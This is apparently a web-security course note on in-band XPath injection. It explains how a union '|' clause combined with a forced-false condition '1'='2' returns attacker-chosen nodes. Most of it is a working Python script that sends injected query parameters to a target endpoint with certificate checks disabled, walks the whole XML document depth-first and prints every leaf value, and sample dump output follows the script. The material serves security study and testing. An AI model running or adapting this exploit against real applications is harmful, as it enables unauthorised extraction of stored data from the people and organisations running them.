In-band
In-band XPath dump: DFS walk of the XML tree via union
An XPath expression returns a node-set when it selects one or more XML nodes. When the application renders that result, the XPath union operator | can combine the original node-set with a second attacker-selected node-set.
The injected query first makes the application’s original selection empty with the false condition '1'='2. It then appends an attacker-controlled path after |, leaving only the selected injected nodes available for rendering.
classify() converts each HTTP response into one of three results:
none -> the XPath path does not identify a node
text -> the path identifies a leaf node containing rendered text
node -> the path identifies an element that exists but has child elementsThe dump uses depth-first search, an algorithm that follows one branch of a tree to its end before returning to the next branch. XML is already a tree, and position-based paths such as /*[1]/*[2] identify each child by its one-based index. A Python list named stack stores paths still awaiting inspection. Interior nodes add their children to that stack; leaf nodes add their path and text to the result.
Each stored stack item contains both the XPath path and the response already fetched for it, preventing a second request for the same node.
import re
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
SEARCH = "https://target/index.php"
PROXIES = {}
NO_RESULTS = "No Results!"
# Original filter forced empty; injected node-set appended after '|'.
# 'fullstreetname' is whatever field the app normally renders.
def query(path):
params = {"q": "') and ('1'='2", "f": f"fullstreetname | {path}"}
r = s.get(SEARCH, params=params, verify=False, timeout=10, proxies=PROXIES)
body = r.text
return body
def classify(body):
if NO_RESULTS in body:
result = ("none", None)
return result
m = re.search(r'Results:</b><br><br>([^<]*)</center>', body)
if m:
text = m.group(1)
text = text.strip()
if text:
result = ("text", text)
return result
result = ("node", None)
return result
def dump(root="/*[1]"):
stack = [(root, query(root))]
leaves = []
while stack:
path, body = stack.pop()
kind, text = classify(body)
if kind == "none":
continue
if kind == "text":
leaves.append((path, text))
print(f"[+] {path} => {text}")
continue
print(f"{path} node, walking children")
children = []
i = 1
while True:
cpath = f"{path}/*[{i}]"
cbody = query(cpath)
if classify(cbody)[0] == "none":
break
children.append((cpath, cbody))
i += 1
stack.extend(reversed(children)) # DFS, left-to-right order
return leaves
print(f"[+] {len(dump())} leaf nodes recovered")Response fragment classify() parses
Results:</b><br><br>01ST ST</center>tree walk
/*[1]/*[1]/*[1] node, walking children
[+] /*[1]/*[1]/*[1]/*[1] => 01ST ST
[+] /*[1]/*[1]/*[1]/*[2] => 01STFind by: xpath in-band union node-set dump tree position() DFS walk leaf text extract whole document · Source: CWEE/XPath Injection - In-band Auto Dump